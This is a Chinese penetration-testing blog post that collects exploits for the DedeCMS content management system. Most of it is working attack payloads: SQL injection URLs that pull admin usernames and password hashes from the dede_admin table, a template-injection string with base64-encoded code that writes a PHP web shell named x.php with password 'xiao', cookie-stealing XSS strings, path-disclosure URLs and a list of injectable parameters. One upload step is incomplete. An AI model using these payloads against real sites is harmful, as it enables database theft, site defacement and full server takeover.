1. 首页
  2. 渗透测试

dedecms漏洞汇总

@泡泡龙等了很久的文章了,如果本文有错欢迎评论指点,欢迎补充。

Dedecms V5.7 后台文件重命名

/web/81/

Dedecms V5.7 后台任意代码执行

/web/79/

解决历史难题 – DEDECMS 织梦找后台目录

/web/51/

dedecms爆绝对路径

/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php

以下漏洞来自互联网收集

DedeCMS全版本通杀SQL注入漏洞利用

2016年7月11日
http://www.weixianmanbu.com/article/157.html

Dedecms 5.6 rss注入漏洞

http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1  

DedeCms v5.6 嵌入恶意代码执行漏洞

注册会员,上传软件:本地地址中填入

a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}  

发表后查看或修改即可执行

a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}   

生成x.php 密码xiao,直接生成一句话。

Dede 5.6 GBK SQL注入漏洞

http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe''")/>
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7''">  

可看见错误信息

  1. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?> 
  1. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是

按确定后的看到第2步骤的信息表示文件木马上传成功.

织梦(DedeCms)plus/infosearch.php 文件注入漏洞

http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*  

DEDECMS跨站及爆绝对路径漏洞
提交:

http://127.0.0.1/dc/include/jump.php?gurl= 会跳转到

新手朋友会认为这就是这个跨站的利用了,其实不然,我们可以尝试去闭合他!但PHP有gpc限制,我们该怎么绕?
提交:

http://127.0.0.1/dc/include/jump.php?gurl=%23"alert(/00day.cn/)/*  

Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x

# .: Multiple Cross-Site Scripting Vulnerabilities in DedeCms v5.x
# .: [Author] Depo2 - TpTLabs.com
# .: [Affected versions] http://www.dedecms.com/ - DedeCms v5.x
# .: [Credit] The disclosure of these issues has been credited to Depo2
# .: [Classification]
# Attack Type: Input Manipulation
# Impact: Loss of Integrity
# Fix: N/A Public release vulnz: {26-08-2008 Sun}
# Class Input Validation Error
# Original Advisory http://depo2.nm.ru/DedeCmsv5.x_XSS.txt
# Other Advisory http://www.xssing.com/index.php?x=3&y=53
- XSS -
[DedeCms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=typeid&bt=[XSS]
[DedeCms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=[XSS]
[DedeCms WebSite]/dede/catalog_tree.php?f=[XSS]
[DedeCms WebSite]/dede/content_list.php?arcrank=[XSS]
[DedeCms WebSite]/dede/content_list.php?dopost=listArchives&nowpage=1&totalresult=0&arcrank=[XSS]&cid=[XSS/SQL]&keyword=[XSS]+&orderby=[XSS/SQL]&imageField=%CB%D1%CB%F7
[DedeCms WebSite]/dede/content_list.php?channelid=[XSS]&cid=0&adminid=[XSS]
[DedeCms WebSite]/include/dialog/select_images.php?f=form1.picname&imgstick=[XSS]
[DedeCms WebSite]/include/dialog/select_images.php?f=[XSS]
[DedeCms WebSite]/dede/login.php?gotopage=[XSS]
[DedeCms WebSite]/dede/article_keywords_select.php?f=[XSS]
[DedeCms WebSite]/dede/file_pic_view.php?activepath=[XSS]
[DedeCms WebSite]/member/login.php?gourl=[XSS]
[DedeCms WebSite]/dede/pic_view.php?activepath=[XSS]  

Php Path Discusion

[DedeCms WebSite]/include/dialog/  

XSRF

[DedeCms WebSite]/dede/sys_info.php? have XSRF
edit___cfg_beian,edit___cfg_keywords etc.. parameter not checking evil code
if attacker wright a "end of textarea"  tag thats give XSS alert :)
[XSS Code] :'">alert(document.cookie)  

织梦(dedecms)2007 group/search.php注入漏洞

http://127.0.0.1/dg/group/search.php?sad=g&keyword=%cf'  

原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

联系我们

在线咨询:点击这里给我发消息

QR code